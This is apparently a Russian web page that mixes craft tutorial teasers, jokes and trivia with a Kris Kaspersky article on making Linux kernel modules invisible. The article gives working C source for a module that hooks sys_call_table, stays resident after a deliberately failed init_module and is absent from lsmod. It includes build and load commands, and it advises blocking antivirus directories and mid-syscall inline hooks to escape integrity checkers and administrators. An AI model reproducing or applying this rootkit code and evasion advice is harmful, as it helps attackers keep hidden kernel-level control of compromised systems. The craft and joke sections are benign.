Владислав Кабак | Omegicus CIO

NebKa

Деревянный ящик для цветов и растений своими руками

Для создания деревянного ящика нам понадобится: фанера или старые доски, толщиной не менее 1,2 см деревянные рейки Пила рулетка или линейка металлические угольники клей для дерева дрель и сверла отвертка краска для дерева или морилка керамические черепки или кусочки пенопласта Приступим. Нам нужно отпилить два одинаковых



читать далее »

МОЗАИКА В ИНТЕРЬЕРЕ. Мастер-класс

Автор мастер-класса - Иван Д. Смотрим мастер-класс, как легко можно декорировать кухонную стену мозаикой и украсить интерьер.  Итак, нам понадобится белая кафельная плитка, которую нужно наломать на кусочки с помощью кусачек Еще нам обязательно понадобится вот такая строительная сетка.



читать далее »

Разное

При комнатной температуре молекулы воздуха движутся со скоростью пули.


читать далее »

Анекдот

Помню, как в пятом классе в споре "Почему хорошо быть девочкой" я сказала: "Потому что не нужно бриться". Наивная...


читать далее »

Животные

Кандиру (небольшая пресноводная рыбка, обитающая в тропических реках Амазонии) – единственное позвоночное, которое ведет паразитический образ жизни на человеке.


читать далее »

Анекдот

Любимая фраза начальства: \"НЕЗАМЕНИМЫХ ЛЮДЕЙ НЕТ!\" Но как только подходит твоя очередь идти в отпуск, всё пипец – ты единственный!


читать далее »

Комодик ручной работы

Предлагаю Вам попробовать сделать своими руками шкатулку - комод. Такая шкатулка очень вместительная и удобна тем, что занимает мало места, потому что она узкая и высокая.  Для того чтобы сделать такую шкатулку - комодик ручной работы, вам потребуются: Картонная коробка и дополнительный картон Ткань Клей ПВА 3 пуговицы Сразу скажу, что



читать далее »

Разное

Ежегодно в мире 150 человек гибнут от падения кокосового ореха на голову. Это в 15 раз больше, чем от нападений акул.


читать далее »

Анекдот

15 лет: Какая ещё горка?! Я слишком взрослая! Надену туфли и в клуб!30 лет: Валенки, варежки, горка! Уууееехххоооууу!


читать далее »

4 выкройки модных сумок из ткани и видео МК.

Приветик всем!! Сегодня: выкройки сумок из ткани и видео мастер класс как сшить сумку из ткани cвоими руками. Согласитесь, покупать новую сумку это конечно очень приятно, но представьте себе насколько приятнее сшить ее самой: во-первых это



читать далее »

Французские текстильные яблочки

Шьем такие красивые текстильные яблочки.    Источник: http://s30893898787.mirtesen.ru/



читать далее »

Георгин из фомиарта(фоамиран)

Автор: Ирина Ситникова.   Источник: https://vk.com/academruk?z=photo-47034488_382636133%2Fwall-47034488_1071



читать далее »

Маленькая сумочка

Приближается лето. Я хочу поделиться с вами мастер-классом по шитью. Давайте сошьем маленькую сумочку своими руками: 1. 2. 3. 4. 5. 6. 7. 8. Sonya_kot Источник: http://www.liveinternet.ru/users/3243004/post322501108/



читать далее »

Поделки из макарон: делаем игрушечную посуду

Оказывается, макарон предназначены не только для еды. Также можно создавать различные поделки из макарон – чашки, чайники, блюдца и прочие вещи. Именно этим я предлагаю сегодня заняться и сделать игрушечную посуду из макарон.   Изготовление сервиза из



читать далее »

Юбка-полусолнце. Нарядная!

Раскрой юбки – полусолнце с двумя швами относительно прост, поэтому делаем его прямо на ткани, которую я разложила в один слой, изнаночной стороной вниз. Расход ткани для такой юбки при ширине ткани не менее 1 метра – две длины



читать далее »

Природа

Семена красного дерева настолько малы, что 123 000 семян весят всего 1 фунт (453,6 г). То есть одно семя красного дерева весит примерно 0,0036 грамма.


читать далее »

Мастер-класс по лепке: Способ изготовления основ для панно из гипса

У многих мастериц, и Мы не исключение, трескаются панно из соленого теста, особенно, если сделаны на большой поверхности, рыбки, например.Мы решили перейти на гипсовую основу. Автор: Шишикина Светлана  Итак, раскатываем на листе потолочного покрытия или на салфетке



читать далее »

Природа

Насекомых на Земле больше, чем всех остальных животных вместе взятых.


читать далее »

Роза в технике квиллинг. Мастер-класс

Для создания роза в технике квиллинг вам потребуется:   - полосы для квиллинга; - специальный инструмент для закручивания роллов/зубочистка; - клей, ножницы.   Роза в технике квиллинг шаг за шагом:   Подготовьте лепестки для розы: серединку-капельку, 10-ть из 5-ти элементов, 3 из 3-х



читать далее »

Я без ума от этой сумки)))

Ой, если б я умела или хотя бы любила шить, то сразу бы кинулась это делать, так как эта сумка меня покорила, я без ума от нее. Посмотрите. Я здесь разместила мастер класс -и сам



читать далее »

Как сделать шляпку своими руками

Иногда, чтобы придать завершенный вид карнавальному костюму или же образу для фото сессии, не хватает декоративной шляпки с вуалью. Сделать такую шляпку  не сложно, главное, иметь необходимые материалы и терпение. Для начинающих рукодельниц я подготовила фото мастер-класс «Как сделать шляпку своими руками источник: http://kollekcija.com/



читать далее »

Анекдот

Внук спрaшивaет у дедa:- Дед, a ты в молодости где сидел: в контaкте или в одноклaссникaх?Дед:- Я в обезьяннике сидел зa контaкт с одноклaссницей!


читать далее »

Схема юбки крючком

Вертикальный узор юбки.  



читать далее »

Анекдот

Молодой человек подходит к скучающей девушке, сидящей на скамейке: - Девушка, Вы курите? - Да. - Пивком балуетесь? - Да. - Ааа. . Как бы по-деликатнее задать следующий вопрос... - Да! Да! Да!


читать далее »

Космос

Все звезды семизвездия Большой Медведицы имеют собственные названия, данные им средневековыми арабскими астрономами: Дубхе, Мерак , Фекда , Мегрец , Алиот , Мицар и Бенетнаш, она же Алкаид .


читать далее »

Кольцо из полимерной глины «букет алых роз». Пошаговый мастер-класс

В этом уроке мы создадим миниатюрные розочки,  соберем их в один букет и оформим в виде кольца. Кольцо в виде букета алых роз станет прекрасным подарком для женщин накануне 8 марта, кроме того, такой презент раскроет ваши истинные



читать далее »

Необычные поделки из дисков.

    Необычные поделки из дисков. Автор: Шон Эйвери  



читать далее »

Анекдот

Пaрa из России приезжaет нa курорт. Зaходят в номер, рaсполaгaются. Вдруг муж слышит крики жены. - Тут мышь! Аaaaaaaa! Позвони нa ресепшен, объясни ситуaцию - ты хоть что-то по aнглийски знaешь, a я ноль! Муж звонит нa ресепшен: -


читать далее »

Как связать два изделия без шва. МК

По Терезы Винсон Стенерсен В последнем выпуске, я обещала показать вам, как объединить два изделия набора  стежками, не оставляя швов. Идеально подходит для данной конкретной проблемы Knitty с его акцентом на одежду, чтобы носить ... хм



читать далее »

Как приготовить стиральный порошок своими руками

Даже не могу себе представить, что может произойти в моей жизни такого, чтобы пришлось самой готовить стиральный порошок.... А хотя, кто его знает) Может кому из вас пригодится рецепт порошка для стирки одежды? Может в



читать далее »

Космос

Метеор или «падающая звезда» — явление, возникающее при сгорании в атмосфере Земли мелких метеорных тел (например, осколков комет или астероидов).


читать далее »

Мой совет:

Руки, запачканные масляной краской, легко можно отмыть растительным маслом. Втереть в кожу немного масла, а затем смыть его тёплой водой.


читать далее »

Мой совет:

Пятно от губной помады можно очистить спиртом.


читать далее »

Детская мода весна-лето 2014

  На сегодняшний день ассортимент детской одежды настолько велик, что трудно сходу определить ведущие тренды.   А родителям хочется, чтобы наряды для их любимого чада были не только практичными и удобными, но и модными. Особенно у девочек, ведь



читать далее »

ЦВЕТОК ИЗ ГОФРИРОВАННОЙ БУМАГИ С КОНФЕТКОЙ

  Источник: http://barrellab.ru



читать далее »

География

У реки Обь около 150 000 притоков.


читать далее »

Чаша папье-маше МК от saroliliya

ТЕКСТ АВТОРА!!!   2. Рецепт целлюлозного теста настолько разнообразен я всегда его делаю на глаз точной рецептуры не когда не придерживаюсь. Размочила несколько лотков из под яиц, хорошо отжала, добавила шпаклевку акриловую, обойный клей, клей ПВА, массу хорошо



читать далее »

Анекдот

Аллё, Серёга! У меня жена забеременела!!! - А чо ты мне-то сразу звонишь??? Меня в тот день вообще в городе не было...


читать далее »

Джинсовые переделки.

Если у Вас имеются протертые джинсы или Вы хотите им придать оригинальности, то посмотрите 2 идеи для переделок джинс. Первая переделка показывает Вам вариант раскроя джинс для переделки в стильную жилетку, а второй вариант- как



читать далее »

Пасхальные зайцы

        Зайцы меня просто потрясли. ))) Такой креатив!! Срочно сажусь сделать такое же семейство и не могу не  поделиться "накопанной" информацией и с вами. ))) Мастер класс показала -  (mu_mla) Итак. нам понадобиться:1. Туалетная бумага или салфетки (лучше



читать далее »

История

Если у лошади на памятнике подняты две передних ноги, то человек умер в бою. Если одна – человек умер от ран, полученных в бою. Если ноги не подняты, то человек умер от естественных причин.


читать далее »

География

В Саудовской Аравии нет ни одной реки.


читать далее »

Кувшин для камина.

Мастер-класс от Мари ночкаСРешила сделать дома камин, для уюта, пока еще в стадии (не готов), когда доделаю выложу фотографии, может кому идеи пригодятся...А вот кувшины для камина уже готовы, вдохновили меня наши рукодельницы с Li.ru



читать далее »

Животные

Животное, которое дольше всех может не пить – это вовсе не верблюд, это крыса.


читать далее »

Анекдот

Фразы, вызывающие панику :1) неверный логин или пароль.2) я хочу с тобой серьёзно поговорить!3) к доске пойдёт...4) ..это будет не больно.


читать далее »

Мой совет:

Жирные пятна с ковров можно удалить смесью бензина и синтетического моющего порошка. Эту смесь нужно втереть в пятно, и оставить на несколько часов, затем промыть горячей водой. При старых пятнах чистку нужно повторять.


читать далее »

Бохо причёски

                           --------------------------------------                      


читать далее »

САМЫЕ ИЗВЕСТНЫЕ КАРТИНЫ-УБИЙЦЫ

Со многими произведениями живописи связаны мистические истории и загадки. Более того, некоторые специалисты считают, что к созданию ряда полотен причастны темные и тайные силы. Основания для такого утверждения есть. Уж слишком часто с этими роковыми



читать далее »

Как сделать чашу из листьев в осеннем стиле

Осень мое любимое время года. Красочные цвета, свежий воздух, приятная прохлада… все, что нужно для покоя и расслабления. Вдохновленная осенью я хочу поделиться способом, как сделать чашу из листьев в осеннем стиле. Простой и легкий


читать далее »

Анекдот

В NASA гадают - почему взорвался левый твердотопливный ускоритель шаттла, а в ФСБ - почему не взорвался правый.


читать далее »

Вышивка для скатерти и полотенца. Схемы



читать далее »

Анекдот

Синдром легкого недомогания развивается у молодых девушек, которых никто не домогается.


читать далее »

Мой совет:

На вашей блузке красуется свежее пятно от прекрасного Каберне? Соль помогает очистить винные пятна из волокон ткани. После того, как вы посыпали пятно солью, немного подождите и тщательно промойте ткань очень горячей водой или кипятком


читать далее »

М-К Цветок из фоамирана

Автор м-к: Айбедуллина ГульнараИсточник: http://www.livemaster.ru/topic/111914-tsvetok-iz-novogo-materiala-fom капаем клей на проволоку и быстро насаживаем палочку красила палочку акрилом, можно попробовать гуашью на вершиночку- каплю бордового резала желтый фом- примерный размер :высота получившихся треугольничков- 4 см, ширина основания- 2-3 мм Клею их на палочку Приступаем



читать далее »

Визитные карточки и их применение

Визитные карточки широко применяются в дипломатической практике и деловом общении. Как бы заочно "представляя" своего владельца и"действуя" от его имени, визитная карточка может быть использована для выражения поздравления или соболезнования, передачи благодарности, установления знакомства, препровождения


читать далее »

Книга учит как лепить реалистичные человеческие фигуры из полимерной глины.

Содержит 200 рисунков и 400 пошаговых фотографий.



читать далее »

ПУЛОВЕР «МАГИЧЕСКИЕ УЗЛЫ» (спицы)



читать далее »

Прикладная видеология

Автор: (c)Крис Касперски ака мыщъх Широкий ассортимент выбора камер видеонаблюдения превращает свободу выбора в проблему, особенно если ни потребитель, ни продавец не разбираются в технических характеристиках и разницу между avi и mpeg чувствуют на смутном интуитивном уровне, не подвластном логическому


читать далее »

Анекдот

Если не знаешь, как польстить человеку, скажи ему, что он не из тех, кого можно обмануть лестью


читать далее »

Анекдот

Цыганка подходит к молоденькой девушке:- Дай погадаю!- Верите ли Вы в Бога, как верю в него я?!От свидетельницы Иеговы цыгане отбивались всем табором.


читать далее »

8 ароматов против комаров

1. Сто граммов камфары или валерьянки, испаряемые над горелкой, избавят от мух и комаров даже очень большие помещения. 2. Мелко нарезать свежие листья черемухи или рябины и натереть открытые участки кожи. 3. Эфирные масла гвоздики, базилика, аниса,



читать далее »

НОВИНКИ МОДЕЛЕЙ ЛЕТНЕГО СЕЗОНА, ПЕРЕДЕЛКИ МУЖСКИХ РУБАШЕК...

ЛЕТНИЙ КОМБИНЕЗОН В ПОЛОСКУ, КСТАТИ, ПОЛОСКА АКТУАЛЬНА ВСЕГДА, ОЧЕНЬ УКРАШАЕТ  НАРЯД. ТКАНИ ПРИ ШИРИНЕ 14ОСМ ПОТРЕБУЕТСЯ 1 М  НАРЯДНАЯ БЛУЗКА .  ЭТОТ СВИТЕРОК ВЫ ЛЕГКО СОШЬЕТЕ, ТКАНИ ПОТРЕБУЕТСЯ 1,20 СМ   ПЛАТЬЕ ИЗ МУЖСКОЙ РУБАШКИ. ЗДЕСЬ ПОТРЕБУЕТСЯ ПРИШИТЬ РЕЗИНКУ С ИЗНАНОЧНОЙ СТОРОНЫ РУКАВА



читать далее »

География

У национального гимна Греции 158 версий. Ни один житель Греции не знает всех 158 версий гимна своей страны.


читать далее »

Природа

В Греции хризантемы называли "золотыми цветами". Японцы называют их "кипу".


читать далее »
Здесь пока пусто

Unauthorized.

Призраки ядра или модули-невидимки

2011.10.08

Призраки ядра или модули-невидимки

Автор: (c)Крис Касперски ака мыщъх

Потребность в создании "невидимых" модулей ядра растет с каждым днем - антивирусная индустрия набирает обороты, на рынке присутствует множество virginity-checker'ов, проверяющих систему на предмет проникновения, в хакерских (и даже совсем не хакерских!) журналах опубликована масса статей, рассказывающих, как прятать модули от штатных средств ОС, в результате чего старые трюки палятся еще на излете и уже не работают. Требуется что-то принципиально новое! Главным образом, речь пойдет про Linux, но предложенные приемы с ничуть не меньшим успехом можно использовать в NT и BSD.

Введение

Лучший способ замаскировать модуль (в терминологии NT - драйвер) - не иметь модуля (драйвера) вообще! И это не шутка! Модули представляют собой унифицированный механизм, обеспечивающий легальную загрузку/выгрузку компонентов ядра, однако существуют и другие механизмы проникновения на уровень ядра, некоторые из которых описаны в моей статье Захватываем ring 0 в Linux, однако все они не универсальны и ненадежны. С другой стороны, любая попытка явного стелсирования (см. статью Прятки в Linux) - это 100% палево, выдающее факт вторжения с головой. Антивирусу достаточно вручную пройтись по всем структурам ядра, а затем сравнить полученный результат с данными, возвращенными легальными средствами (например, командой "lsmod").

Значит, чтобы не иметь проблем с маскировкой модуля, достаточно просто не регистрировать его в списке модулей. Отказаться от предоставляемого системой унифицированного интерфейса и размещать свою тушу в ядерной памяти самостоятельно. Но для этого сначала нужно вырыть нору, ведь мыши, модули и прочие грызуны живут в норах, а на открытом пространстве быстро погибают, становясь легкой добычей лис, филинов и других ухающих хищников.

Мыщъх в норе

Рисунок 1. Мыщъх в норе собственной персоной с рассветом наедине.

Руководящая идея

Пишем модуль как обычно, но в процедуре init_module() выделяем блок памяти вызовом __get_free_pages (или любой другой функцией из семейства kmalloc, см. "Чем выделять память"), копируем туда резидентный код, делающий что-то "полезное", перехватываем все необходимые системные вызовы, заставляя их передавать управление резидентному коду (который, кстати говоря, должен быть перемещаемым, т.е. сохранять работоспособность независимо от базового адреса загрузки). После этого мы возвращаем -1, сообщая системе, что init_module обломался.

Как результат - модуль не загружается, но и выделенная им память не освобождается, а это значит, что резидентный код продолжает работать! Причем, определить - каким именно модулем был выделен тот или иной блок памяти в общем случае невозможно и даже обнаружив резидентный код, антивирус ни за что не сможет сказать, откуда он тут взялся?

Что случилось с www.rootkit.com?

Рисунок 2. Что случилось с www.rootkit.com?!

Какие именно системные вызовы перехватывать и как осуществлять фильтрацию, можно прочитать в любой статье, посвященной технологии создания rootkit'ов, например: "Abuse of the Linux Kernel for Fun and Profit" (PHRACK #50), "Weakening the Linux Kernel" (PHRACK #52), "Sub proc_root Quando Sumus" (PHRACK #58), "Kernel Rootkit Experiences" (PHRAСK #61) и т.д. Все статьи, естественно, на английском, знание которого только приветствуется. И хотя сам PHRACK уже мертв, архив старых номеров доступен всем желающим по старому адресу www.phrack.org. А вот www.rootkit.com последнее время ведет себя как-то странно. На доменное имя не отзывается, но нормально открывается по IP-адресу: 65.61.116.2. Интересно, это у меня такое или у остальных тоже? Пишите на http://slut96.blogspot.com (см. рис. 3).

Но довольно лишних слов! Пора приступать к практической реализации!

slut96.blogspot.com

Рисунок 3. slut96.blogspot.com - секретная нора мыщъх'а, где ему можно оставить сообщение.

Proof-of-concept module или готовая демонстрация

Давайте, в качестве разминки соорудим минимально работающий "невидимый" LKM-модуль для Linux с ядром версии 2.4 (ядро 2.6 потребует незначительных изменений, о которых мы расскажем ниже), а вот в операционных системах xBSD и NT все сильно по-другому, хотя основополагающий принцип тот же - в процедуре инициализации выделяем память, копируем туда резидентный код, перехватываем один или несколько системных вызовов и возвращаем ошибку, приводящую к выгрузке модуля из памяти. Подробнее о технике написания LKM- и KLD-модулей под xBSD можно прочитать в моей статье Хачим ядро xBSD, а "скелет" драйвера под NT описан в статье Жизнь после BSOD. Еще рекомендуется прочитать цикл статей Four-F'а на wasm'e, покрывающий собой все основные аспекты разработки драйверов: http://www.wasm.ru/article.php?article=drvw2k01.

Но вернемся к Linux'у. Наш "невидимка" будет перехватывать системный вызов SYS_mkdir (см. рис. 4), возвращая неизменную ошибку вместо передачи управления оригинальному syscall'у, в результате чего создание новых директорий окажется невозможным (во всяком случае, до перезагрузки системы). Это сделано для "облегчения" листинга и упрощения его понимания. Примеры реализации полноценных перехватчиков содержатся в статьях Перехват библиотечных функций в Linux и BSD и Шприц для *BSD.

Механизм реализации системных вызовов

Рисунок 4. Механизм реализации системных вызовов в Linux.

В качестве "шасси" мы будем использовать "скелет" LKM-драйвера, приведенный в уже упомянутой статье Прятки в Linux. Фактически, мы только выбросим процедуру cleanup_module(), выполняющуюся при выгрузке модуля из памяти (ведь наш модуль никогда не выгружается! во всяком случае, в традиционной трактовке этого слова), добавим функцию thunk_mkdir(), замещающую собой старый системный вызов SYS_mkdir() и напишем несколько строк кода, обеспечивающих выделение памяти, копирование thunk_mkdir() и подмену оригинального SYS_mkdir'а. Если отбросить комментарии, на все понадобиться менее десяти строк на языке Си (краткость - сестра таланта)!

Предлагаемый вариант реализации выглядит так:

// сообщаем компилятору, что это модуль режима ядра
#define MODULE
#define __KERNEL__

// подключаем заголовочный файл для модулей
#include
// на многоЦП'шных машинах подключаем еще и smp_lock.h
#ifdef __SMP__
        #include
#endif

// подключаем файл syscall.h, в котором перечислены все
// системные вызовы (в т.ч. и необходимый нам SYS_mkdir)

#include

// не нужно использовать linux/malloc.h, чтобы не ругался
// компилятор, вместо этого возьмем linux/mm.h
// #include

#include

// заглушка на функцию SYS_mkdir, всегда возвращающая -1,
// т.е. блокирующая всякую попытку создания директории с
// сообщением об ошибке; естественно, в "полновесном"
// вирусе или rootkit'е здесь должен быть обработчик,
// передающий управление оригинальному системному вызову

thunk_mkdir()
{
        return -1; // директория не создается
}

// чтобы определить длину функции thunk_mkdir, которую мы
// собираемся копировать в выделенный блок памяти, будем
// исходить из того факта, что порядок объявления функций
// в файле совпадет с их размещением в памяти, (в 99% все
// именно так и происходит!), тогда нам останется только
// разместить фиктивную функцию за концом настоящей и...
// вычислить разницу указателей. то есть, условно говоря,
// size of(thunk_mkdir) = thunk_end - thunk_mkdir.
// внимание! это работает не на всех платформах!!!

thunk_end()
{
        return 0x666; // thunk_end никогда не вызывается
}

// объявляем внешнюю переменную, указывающую на таблицу
// системных вызов sys_call_table

extern void *sys_call_table[];

// объявляем функцию, в которую будет записан указатель
// на оригинальный системный вызов old_mkdir (в данном
// случае он никак не используется)

int (*old_mkdir)();

// объявляем функцию, в которую будет записан указатель
// на резидентный код thunk_mkdir, остающийся в памяти
// даже после выгрузки модуля

int (*new_mkdir)();

// EntryPoint: стартовая функция модуля, ответственная
// за его инициализацию и возвращающая 0 (при успешной
// инициализации) и -1 (если в ходе инициализации были
// зафиксированы неустранимые ошибки), и в этом случае
// модуль не загружается.

int init_module(void)
{
        // выделяем одну страницу ядерной памяти
        new_mkdir = (void *) __get_free_page(GFP_KERNEL);

        // проверяем успешность выделения памяти
        if (!new_mkdir) return -1 | printk("mem error!\n");

        // определяем адрес оригинального вызова SYS_mkdir
        // (в данной версии модуля никак не используется!)

        old_mkdir = sys_call_table[SYS_mkdir];

        // копируем резидентный код нового SYS_mkdir в блок
        // памяти, выделенный вызовом __get_free_page

        memcpy(new_mkdir, thunk_mkdir, thunk_end-thunk_mkdir);

        // модифицируем таблицу системных вызовов, заменяя
        // старый вызов mkdir на новую процедуру-заглушку

        sys_call_table[SYS_mkdir] = new_mkdir;

        // выводим отладочное сообщение, что все ОК
        printk("SYS_mkdir is now hooked!\n");

        // возвращаем ошибку, предотвращая загрузку модуля,
        // (но оставляя резидентный код в памяти)

        return -1;
}

// пристыковываем лицензию, по которой распространяется
// данный файл; если этого не сделать, модуль успешно
// загрузится, но операционная система выдаст warring,
// сохраняющийся в логах и привлекающий внимание админов

MODULE_LICENSE("GPL");

Листинг 1. Исходный текст невидимого LKM-модуля "mod-hidden.c", оставляющий резидентный код в памяти, блокирующий вызов SYS_mkdir() и работающий с ядром версии 2.4.

Для переноса модуля на 2.6 ядро прототип функции инициализации следует переписать так:

static int __init my_init()
module_init(my_init);

Листинг 2. Прототип функции инициализации LKM-модуля в ядрах версии 2.6.

Пара замечаний. Перечень системных вызовов (вместе со способом передачи аргументов) лежит на http://docs.cs.up.ac.za/programming/asm/derick_tut/syscalls.html (см. рис. 5). В частности, SYS_mkdir принимает два аргумента: в EBX передается указатель на имя создаваемой директории, в ECX - флаги, описанные в "man mkdir". При желании, проанализировав *EBX, мы можем блокировать создание только определенных директорий, например, тех, что используют антивирусы и прочие защитные средства по умолчанию. Конечно, это демаскирует присутствие rootkit'а, но до некоторой степени затрудняет его удаление из системы.

Описание системных вызовов

Рисунок 5. Описание системных вызовов (вместе с аргументами), найденное на просторах Интернета.

Перехват syscall'ов осуществляется вполне стандартно и традиционно: ядро экспортирует переменную extern void sys_call_table, указывающую на таблицу системных вызовов, каждый элемент которой указывает на соответствующий ему системный вызов (или NULL, если данный системный вызов не реализован). Определения самих системных вызовов содержатся в файле /usr/include/sys/syscall.h. В частности, за mkdir закреплено "имя" SYS_mkdir.

Объявив в модуле переменную "extern void *sys_call_table[]", мы получим доступ ко всем системным вызовам, которые только есть (включая нереализованные). old_mkdir = sys_call_table[SYS_mkdir] заносит в переменную old_mkdir указатель на системный вызов SYS_mkdir, а sys_call_table[SYS_mkdir] = new_mkdir заменяет его на new_mkdir, который должен располагаться в ядерной области памяти, о разновидностях которой мы поговорим ниже.

Внимание: если забыть скопировать new_mkdir в предварительно выделенный блок памяти, то после выгрузки модуля, SYS_mkdir будет указывать на невыделенную область памяти и приложение, вызывавшее функцию mkdir завершится с сигналом 11 - segmentation fault (см. рис. 6), но ядро продолжит функционировать в нормальном режиме и никаких экранов голубой смерти, которыми так славится NT, тут не произойдет. Да, Linux - это вам не Windows! Это намного более крутая и живучая система, способная постоять за себя!

Примечание: на самом деле, ядро ничего не экспортирует (в привычной для NT-программистов трактовке этого слова). В каталоге /boot лежит файл System.map, содержащий символьную информацию о всех "публичных" переменных и процедурах ядра. Его-то загрузчик модулей и использует. Если этого файла нет (например, удален администратором по соображениям безопасности), определять адрес таблицы символов приходится эвристическим путем, но это уже тема для отдельной статьи...

Некорректный перехват системного вызова

Рисунок 6. Некорректный перехват системного вызова приводит к аварийному завершению обратившегося к нему процесса, а не всего ядра целиком (как это происходит в NT).

Сборка и загрузка

Компиляция модулей (для знакомых с gcc) никакой сложности не представляет. Ключи, опции оптимизации и прочие специи - по вкусу. Кто-то любит острое, а кто-то соленое. Согласия, короче нет. Но в общем случае командная строка должна выглядеть так:

$gcc -c  module-hide.c -o mod-hidden.o -O2

Листинг 3. Компиляция невидимого LKM-модуля.

Если компиляция прошла без ошибок, то на диске образуется файл module-hide.o, готовый к загрузке внутрь ядра командой insmod (естественно, загружать модули может только root, техника нелегального приобретения которого рассмотрена в статье Захватываем ring 0 в Linux):

$insmod mod-hidden.o

Листинг 4. Загрузка LKM-модуля в пространство ядра (для автоматической загрузки модуля вместе с операционной системой необходимо добавить его в файл /etc/modules).

Система тут же начнет ругаться на всех языках, которые только знает (точнее, на тех, под которые ее локализовали), типа, мол, модуль не загружен, нет прав на операцию (см. листинг 5), неверные параметры, инвалидный IO или IRQ. Но не стоит волноваться. Все идет по плану! Это просто результат return -1 в init_module().

root@3[module]# gcc -c mod-hidden.c -o mod-hidden.o -O2
root@3[module]# insmod mod-hidden.o
mod-hidden.o: init_module: Operation not permitted
Hint: insmod errors can be caused by incorrect module parameters,
including invalid IO or IRQ parameters.
      You may find more information in syslog or the output from dmesg
root@3[module]#

Листинг 5. Реакция ядра на попытку загрузки невидимого LKM-модуля mod-hidden.o.

Главное то, что в списке загруженных модулей (выводимых командой "lsmod" или ее аналогом "dd if=/proc/modules bs=1") наш модуль отсутствует, как будто бы мы никогда туда его не загружали. Однако, команда "mkdir" дает ошибку, убеждая нас в том, что резидентный код успешно обустроился на конспиративной квартире и ведет активную борьбу!

root@3[module]# mkdir nezumi
mkdir: невозможно создать каталог `nezumi': Operation not permitted

Листинг 6. При активном резидентном коде создание новых директорий невозможно!

Сборка, загрузка и демонстрации

Рисунок 7. Сборка, загрузка и демонстрации работы невидимого модуля, отсутствующего в списке модулей, выдаваемых командой insmod и прочими средствами.

Чем выделять память?

Для выделения памяти ядро предоставляет богатый ассортимент функций, описанных в man'e (см. "man kmalloc", если только соответствующие страницы установлены, в некоторых дистрибутивах и, в частности, в KNOPPIX'е они наглым образом отсутствуют и приходится ходить в сеть: http://man.he.net/man9/kmalloc).

On-line man по функциям выделения ядерной памяти

Рисунок 8. On-line man по функциям выделения ядерной памяти.

В первую очередь хотелось бы отметить функцию "void *kmalloc(size_t size, int priority)", где size - размер запрашиваемого блока, который должен быть одним из следующих значений (в байтах): 24, 56, 120, 244, 500, 1012, 2032, 4072, 8168, 16360, 32744, 65512 или 131048. В противном случае функция автоматически округлит размер блока в большую сторону.

Параметр priority задает стратегию выделения памяти. GFP_ATOMIC выделяет требуемую память немедленно (при необходимости вытесняя другие страницы на диск), GFP_KERNEL резервирует блок памяти, выделяя страницы памяти по мере обращения к ним, GFP_BUFFER никогда не вытесняет другие страницы и если запрошенная память недоступна, с выделением наступает облом. Существуют и другие стратегии выделения, но нам они не интересны, поскольку фактически приходится выбирать между GFP_ATOMIC и GFP_KERNEL. Обычно используют последний, т.к. он ведет себя не столь агрессивно.

Если нужно выделить всего одну страницу памяти, имеет смыл воспользоваться функцией "unsigned long __get_free_page(int priority)", где priority - тот же самый, что и у kmalloc. Ее ближайшая родственница: "get_free_page(int priority)" отличается только тем, что обнуляет память сразу же после выделения, что несколько снижает производительность и к тому же мы все равно будем копировать резидентный код через memcpy, так что содержимое страницы нам некритично.

Определения всех функций (с краткими комментариями) содержатся во включаемом файле .

Грабеж отладочного вывода

Функция printk(), используемая нами, позволяет генерировать отладочный вывод, который не появляется на экране, чтобы не смущать пользователей обилием технической информации, в которой они все равно ни хрена не разбираются. Что ж, вполне логично, что отладочный вывод должен быть доступен только разработчикам, но... как, черт возьми, до него добраться? Операционная система NT имеет "Системный Журнал" (и притом не один), но ничего похожего на это в Linux'е нет и отладочный вывод бесхитростно валится в текстовой файл /proc/kmsg, который можно прочитать утилитой cat:

cat /proc/kmsg > filename

Листинг 8. Просмотр отладочного вывода под консолью.

Однако лучше использовать специализированные средства наподобие консольной приблуды "dmesg" (запускаемой без аргументов) или X-ой гляделки:

xconsole -file /proc/kmsg

Листинг 9. Просмотр отладочного вывода в X-ах.

Просмотр отладочного вывода

Рисунок 9. Просмотр отладочного вывода под X'ми.

Резидентный код в камуфляжных штатах

Вот мы и спрятали модуль! Теперь можно расслабиться и сгонять в Амстердам, чтобы зайти в Coffee-Shop и съесть пару аппетитных булочек известного содержимого. А пока мы там кайфуем, наш модуль имеют по полной программе все, кому не лень. Как это так?! Мы же ведь замаскировались!!!

Замаскироваться-то мы замаскировались, но подобное грубое вторжение в таблицу системных вызовов вряд ли сможет долго остаться незамеченным. Существует куча утилит, проверяющих целостность sys_call_table и автоматически восстанавливающих ее, отбирая у резидентного кода все бразды правления. Но даже без них - указатель на системный вызов, расположенный вне ядра, вызывает слишком большие подозрения.

Чтобы не сгореть на первом же допросе, необходимо слегка изменить тактику: оставить в покое sys_call_table и внедрить jump на резидентный код в начало перехватываемого системного вызова. Впрочем, jump в начале системных вызовов - весьма популярный (а потому широко известный) способ перехвата и опытные админы нас все равно запалят. Чтобы избежать расправы, необходимо внедряться не в начало, а в середину системных вызовов! А для этого необходимо тащить за собой целый дизассемблер, поскольку длина x86 инструкций непостоянна и варьируется в весьма широких пределах. Впрочем, можно пойти на хитрость и искать плацдарм для внедрения эвристическим путем, например, по сигнатуре: 85h C0h * 7x, соответствующей конструкции TEST EAX,EAX/Jx target. Звездочка означает, что между TEST EAX,EAX и Jx target может быть расположено несколько машинных команд. Во избежание ложных срабатываний не следует выбирать расстояние между 85h C0h и 7xh свыше 4 байт. Естественно, внедряя jmp near our_resident_code поверх TEST EAX,EAX..., необходимо предварительно сохранить затираемое содержание в своем собственном буфере и выполнить его перед передачей управления оригинальному системному вызову.

Важно отметить, что данный способ перехвата не является на 100% надежным и безопасным, поскольку существует ничтожная вероятность, что выполнение процесса будет прервано в момент установки jump'а и тогда он рухнет. Однако rootkit'ы об этом могут не заботиться, да и падения такие будет происходить не чаще, чем раз в сто лет.

Маскируемся в адресном пространстве

Вот теперь мы замаскировались, так замаскировались! Только хвост все равно из норы торчит и наш резидентный код может быть найден тривиальным сигнатурным поиском путем сканирования памяти ядра (естественно, при условии, что он известен антивирусам, а все популярные rootkit'ы им известны). Чтобы остаться необнаруженным, необходимо использовать или продвинутые полиморфные методики или... есть тут один способ, о котором не грех рассказать.

